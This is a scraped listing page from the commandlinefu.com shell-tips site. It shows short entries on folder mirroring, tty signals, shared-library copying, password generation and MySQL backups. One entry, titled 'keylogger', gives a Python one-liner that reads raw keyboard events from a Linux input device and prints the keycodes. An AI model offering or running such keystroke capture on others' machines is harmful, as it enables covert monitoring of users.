All commands (14,187)

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

Create a mirror of a local folder, on a remote server
Create a exact mirror of the local folder "/root/files", on remote server 'remote_server' using SSH command (listening on port 22) (all files & folders on destination server/folder will be deleted)

If (and only if) the variable is not set, prompt users and give them a default option already filled in.
The read command reads input and puts it into a variable. With -i you set an initial value. In this case I used a known environment variable.

Stop and continue processing on a terminal
This will send the ASCII sequence for DC3 to the currently running tty which results in SIGSTOP (19). You can continue with ASCII sequence for DC1 by pressing CTRL+q which results in SIGCONT (18).

keylogger
$python -c "DEV = '/dev/input/event4' #if event0 doesn't work, try event1 event2 etc fo = open(DEV) def interpret(keycode,state): if state == 0: print '%i up'%keycode if state == 1: print '%i down'%keycode if state == 2: print '%i repeat'%keycode while 1: line = fo.read(16) if ord(line[10]) != 0: keycode,state = line[10],line[12] interpret(ord(keycode),ord(state)) "

umount --rbind mount with submounts
Original: https://bugzilla.redhat.com/show_bug.cgi?id=194342

Export unpushed files list

Get file access control list

Copy all shared libraries for a binary to directory
When working with jailed environments you need to copy all the shared libraries to your jail environment. This is done by running ldd on a binary which needs to run inside the jail. This command will use the output from ldd to automatically copy the shared libraries to a folder of your choice.

generate a random 10 character password
Generate a table of random 10 character passwords

Backup all MySQL Databases to individual files


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: